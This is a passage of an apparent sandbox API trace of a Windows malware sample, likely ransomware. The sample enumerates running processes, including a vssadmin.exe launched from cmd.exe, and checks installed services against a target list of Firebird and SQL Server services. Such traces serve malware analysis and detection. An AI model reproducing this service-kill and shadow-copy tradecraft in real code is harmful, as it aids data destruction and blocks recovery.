szExeFile="supplements-reynolds.exe")) returned 1 [0223.971] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0223.971] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0223.972] lstrlenW (lpString="planned.exe") returned 11 [0223.972] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0223.972] lstrlenW (lpString="springer andrew.exe") returned 19 [0223.972] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0223.973] lstrlenW (lpString="cakes import.exe") returned 16 [0223.973] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0223.974] lstrlenW (lpString="theory.exe") returned 10 [0223.974] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0223.975] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0223.975] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0224.253] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0224.255] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0224.256] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0224.256] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0224.256] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0224.256] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0224.257] lstrlenW (lpString="indicescancellation.exe") returned 23 [0224.257] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0224.258] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0224.258] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0224.258] lstrlenW (lpString="desk.exe") returned 8 [0224.258] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.259] lstrlenW (lpString="svchost.exe") returned 11 [0224.259] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0224.260] lstrlenW (lpString="sppsvc.exe") returned 10 [0224.260] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.260] lstrlenW (lpString="svchost.exe") returned 11 [0224.260] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.261] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0224.261] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0224.261] lstrlenW (lpString="winhost.exe") returned 11 [0224.261] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0224.271] lstrlenW (lpString="cmd.exe") returned 7 [0224.271] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0224.272] lstrlenW (lpString="conhost.exe") returned 11 [0224.272] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0224.273] lstrlenW (lpString="vssadmin.exe") returned 12 [0224.273] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0224.273] lstrlenW (lpString="VSSVC.exe") returned 9 [0224.273] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.274] lstrlenW (lpString="svchost.exe") returned 11 [0224.274] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0224.274] CloseHandle (hObject=0x218) returned 1 [0224.275] Sleep (dwMilliseconds=0x1f4) [0224.945] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63faf0 [0224.945] EnumServicesStatusExW (in: hSCManager=0x63faf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0224.945] GetLastError () returned 0xea [0224.945] EnumServicesStatusExW (in: hSCManager=0x63faf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc1078, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc1078, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0224.945] CloseServiceHandle (hSCObject=0x63faf0) returned 1 [0224.945] lstrlenW (lpString="Appinfo") returned 7 [0224.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0224.946] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0224.946] lstrlenW (lpString="AudioSrv") returned 8 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0224.946] lstrlenW (lpString="BFE") returned 3 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0224.946] lstrlenW (lpString="CryptSvc") returned 8 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0224.946] lstrlenW (lpString="CscService") returned 10 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0224.946] lstrlenW (lpString="DcomLaunch") returned 10 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0224.946] lstrlenW (lpString="Dhcp") returned 4 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0224.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0224.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0224.946] lstrlenW (lpString="Dnscache") returned 8 [0224.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0224.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0224.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0224.947] lstrlenW (lpString="DPS") returned 3 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0224.947] lstrlenW (lpString="eventlog") returned 8 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0224.947] lstrlenW (lpString="EventSystem") returned 11 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0224.947] lstrlenW (lpString="FontCache") returned 9 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0224.947] lstrlenW (lpString="gpsvc") returned 5 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0224.947] lstrlenW (lpString="iphlpsvc") returned 8 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0224.947] lstrlenW (lpString="LanmanServer") returned 12 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0224.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0224.947] lstrlenW (lpString="LanmanWorkstation") returned 17 [0224.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.947] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0224.947] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0224.948] lstrlenW (lpString="lmhosts") returned 7 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0224.948] lstrlenW (lpString="MMCSS") returned 5 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0224.948] lstrlenW (lpString="MpsSvc") returned 6 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0224.948] lstrlenW (lpString="Netman") returned 6 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0224.948] lstrlenW (lpString="netprofm") returned 8 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0224.948] lstrlenW (lpString="NlaSvc") returned 6 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0224.948] lstrlenW (lpString="nsi") returned 3 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0224.948] lstrlenW (lpString="PcaSvc") returned 6 [0224.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0224.948] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0224.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0224.948] lstrlenW (lpString="PlugPlay") returned 8 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0224.949] lstrlenW (lpString="Power") returned 5 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0224.949] lstrlenW (lpString="ProfSvc") returned 7 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0224.949] lstrlenW (lpString="RpcEptMapper") returned 12 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0224.949] lstrlenW (lpString="RpcSs") returned 5 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0224.949] lstrlenW (lpString="SamSs") returned 5 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0224.949] lstrlenW (lpString="Schedule") returned 8 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0224.949] lstrlenW (lpString="SENS") returned 4 [0224.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0224.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0224.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0224.949] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0224.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0224.949] lstrlenW (lpString="ShellHWDetection") returned 16 [0224.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.967] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0224.967] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0224.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0224.968] lstrlenW (lpString="Spooler") returned 7 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0224.968] lstrlenW (lpString="sppsvc") returned 6 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0224.968] lstrlenW (lpString="swprv") returned 5 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") 